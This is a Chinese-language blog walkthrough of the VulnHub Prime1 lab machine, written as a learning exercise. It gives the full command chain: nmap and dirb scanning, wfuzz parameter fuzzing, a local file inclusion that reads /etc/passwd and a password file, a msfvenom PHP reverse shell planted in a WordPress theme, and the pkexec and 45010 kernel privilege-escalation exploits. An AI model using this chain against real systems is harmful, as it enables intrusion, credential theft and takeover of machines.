【Try to Hack】vulnhub Prime1
📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年6月19日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
无涯老师学习所得
@toc
靶机简述

 打开靶机,是ubuntu操作系统。
 想要登录需要输入密码
 发现一行重要的信息find password.txt file in my directory
 我们的目的是在不知道密码的情况下,拿到该靶机的root权限
主机发现
我们需要知道目标靶机的ip地址
需要知道虚拟机NAT网络的网段
 
 
目标靶机就在192.168.88.1/24这个C段下
攻击机kali也是NAT网络,所以kali也在当前C段
(其实直接查看kali的ip地址就可以了,因为kali和靶机在一个网段)
nmap -sP 192.168.88.1/24

 一般扫出来主机号很小的(如1、2)和很大的(如255、254)都不去考虑
192.168.88.132是kali的ip地址
 所以靶机的ip地址为192.168.88.139
端口扫描、查看服务
端口和服务是一一对应的关系
 扫描端口获得运行的服务
nmap -p- -A 192.168.88.139
 
 有一个ssh服务,是做远程登录的
 有一个http服务
浏览器查看这个http服务
 
 发现就只有一张图片
 一般思路为:查看源码、F12查看数据包、目录扫描
 
 有用信息得到是Server: Apache/2.4.18 (Ubuntu)
目录扫描
进行目录扫描
 dirb http://192.168.88.139
 
 
 主要先看这里
 
 一个dev非常规目录
 wordpress目录(wordpress是一个开源的博客平台)
我们访问一下dev目录
 curl http://192.168.88.139/dev
 
 是一个提示信息,我们需要进一步的挖掘
再进行目录扫描,这次指定文件后缀名(只扫描.txt .php .zip这些可能存在敏感信息的文件)
dirb http://192.168.88.139 -X .txt,.php,.zip
 
 三个文件
 不多说直接看secret.txt
 
 提示信息:让我们通过传参去fuzz我们已经找到的php文件,同时还给了我们一个工具
fuzz参数
我们不用它给我们推荐的工具,用kali自带的wfuzz
 wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.88.139/index.php?FUZZ
-w指定字典,用的是wfuzz自带的一个字段
 我们有两个php文件,先用index.php试一下
 ?FUZZ就是替代我们要fuzz的位置

 找到那个返回结果长度不一样的那个
 ?file就是我们要找的参数
 
 我们也可以用它参数进行过滤
 -hw 12过滤掉返回结果长度为12的
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.88.139/index.php?FUZZ
 
我们传参看一下页面
 curl http://192.168.88.139/index.php?file
 
 Do something better
 you are digging wrong file
还记得secret.txt的提示信息,说location.txt
 传进去试一下
 
ok well Now you reah at the exact parameter Now dig some more for next one use ‘secrettier360’ parameter on some other php page for more fun.
那就是image.php了
 curl http://192.168.88.139/image.php?secrettier360
 
读取敏感文件
我们拿到了正确的参数之后,这里存在着一个LFI(本地文件包含漏洞),我们可以读取敏感文件
 curl http://192.168.88.139/image.php?secrettier360=/etc/passwd
 
 我们发现了一个特殊信息
 saket:x:1001:1001:find password.txt file in my directory:/home/saket:
和我们进入靶机的提示信息相同。并且告诉我们password.txt在/home/saket下
然后我们访问/home/saket/password.txt
 curl http://192.168.88.139/image.php?secrettier360=/home/saket/password.txt
 
 拿到了密码follow_the_ippsec
ssh服务
我们拿到了密码,并且知道用户名victor
所以我们尝试登录ssh服务
 ssh -p 22 victor@192.168.88.139
 
 发现登不上
wordpress
试一下wordpress
 浏览器访问一下http://192.168.88.139/wordpress
 

 有登录的地方
 试一下
 
 登陆上了
 
 比如说如果刚才我们不知道是victor用户,我们该怎么办
可以使用kali自带的wpscan,是专门针对wordpress的工具,扫描wordpress的漏洞
 man wpscan
 
 找一下我们需要的参数
 -e u 枚举username
 --url 指定url
 wpscan --url http://192.168.88.139/wordpress/ -e u
 
 同样找到了victor用户名
cmseek
 cmseek -u http://192.168.88.139
 可以探测这个网站使用的哪个cms,这个cms有哪些漏洞,同时也可以枚举用户名
 
wordpress漏洞利用
现在我们再回到wordpress的后台
 
找到这个主题编辑的功能(为了方便非程序员的博主),这里面有些php文件是可以编辑的。
 
 找到了一个可以写入的php文件
 我们可以写入一句话木马或者反弹shell的payload
msf生成反弹shell的payload、反弹shell
msfvenom
 
 msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.88.132 lport=7777-o shell.php
 
 
 写入wordpress漏洞处
 
 待会访问这个php文件,即可使得这个文件生效
我们现在需要让我们的kali去监听7777端口
 msfconsole
 use exploit/multi/handler
 set payload php/meterpreter/reverse_tcp
 set lhost 192.168.88.132
 set lport 7777
 run
 
 我们现在访问secret.php即可触发了
 由于wordpress是开源的,我们很容易就得知theme文件夹的位置为
 http://192.168.88.139/wordpress/wp-content/themes/twentynineteen/secret.php
 访问
 
 发现我们拿到了shell
 shell
 
 发现和我们正常的shell界面还有有点差别的
 使用这条命令
 python -c 'import pty;pty.spawn("/bin/bash")'
 
 现在就是正常shell的界面了
提权
想要用pkexec提权来着
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
./cve-2021-4034
whoami

 没有权限新建目录
使用ubuntu内核提权
 uname -a
 查看操作系统版本
 
 使用msf来找这个版本漏洞的exp
 searchsploit 16.04 Ubuntu
 
 所以使用红框中的exp
exp位置在这
 /usr/share/exploitdb/exploits/linux/local/45010.c
复制exp到root目录下
 cp /usr/share/exploitdb/exploits/linux/local/45010.c /root
使用gcc命令进行编译
 gcc 45010.c -o 45010
现在需要将45010这个文件丢入靶机中
在反弹shell的界面上传45010
 upload /root/45010 /tmp/45010
 
 这已经传上去了
我们进入shell界面,去给45010添加可执行权限
 chmod +x /tmp/45010
 cd /tmp
 执行文件
 ./45010
 
 ok,我们是root权限了
 
 获得root目录下的一些文件
 拿到了flag
- 点赞
- 收藏
- 关注作者
 
             
           
评论(0)